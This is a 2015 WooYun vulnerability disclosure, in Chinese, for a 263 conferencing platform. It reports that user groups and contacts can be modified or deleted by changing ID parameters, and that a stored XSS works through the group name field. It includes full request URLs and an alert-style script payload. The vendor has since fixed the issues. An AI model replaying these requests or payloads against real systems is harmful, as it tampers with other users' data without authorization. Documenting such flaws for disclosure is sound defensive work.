漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0122437
漏洞标题：263通信某平台越权+XSS
相关厂商：263通信
漏洞作者： 懒人
提交时间：2015-06-24 12:00
修复时间：2015-08-04 09:45
公开时间：2015-08-04 09:45
漏洞类型：未授权访问/权限绕过
危害等级：高
自评Rank：15
漏洞状态：厂商已经修复
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-06-24： 细节已通知厂商并且等待厂商处理中
2015-06-29： 厂商已经确认，细节仅向厂商公开
2015-07-09： 细节向核心白帽子及相关领域专家公开
2015-07-19： 细节向普通白帽子公开
2015-07-29： 细节向实习白帽子公开
2015-08-04： 厂商已经修复漏洞并主动公开，细节向公众公开
简要描述：
权限绕过
详细说明：
二六三会议圈
首先注册两个账号用来测试
http://cc.263.net/toRegist
账号一：张三
账号二：李四
1、张三登录系统，在个人通讯录中添加组管理，发现用户组信息可越权：
2、修改用户组
http://cc.263.net/ajaxAddContactGroups?groupid=69&groupname=%E5%BC%A0%E4%B8%89%E7%9A%84%E7%94%A8%E6%88%B7%E7%BB%841
参数groupid可以任意修改并修改成功
3、删除用户组
http://cc.263.net/ajaxDeleteContactGroups?groupid=71
参数groupid可以任意修改并删除成功
4、用户联系人也可越权修改、删除
http://cc.263.net/ajaxModifyPerson?addrname=%E7%8E%8B%E4%BA%94&contactids=38208&description=&email=&groupId=72&phonenum=13530018941&phonenum1=
参数contactids可任意修改,并修改成功
http://cc.263.net/deletePerson?contactids=38208
参数contactids可任意修改,并删除成功
5、XSS测试，客户端js有验证，但是服务端没有验证，很容易绕过
抓包获取修改组名提交地址
http://cc.263.net/ajaxAddContactGroups?groupid=73&groupname=%E7%BB%84%3Cscript%3Ealert%28/xss/%29%3C/script%3E
修改参数groupname的值为组<script>alert(/xss/)</script>
然后groupid任意修改，可保存成功，这里修改为李四的groupid，登录李四的账号，加载XSS成功
漏洞证明：
修复方案：
验证数据权限，过滤XSS
版权声明：转载请注明来源 懒人@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2015-06-29 09:17
厂商回复：
正在修复中
最新状态：
2015-08-04：已修复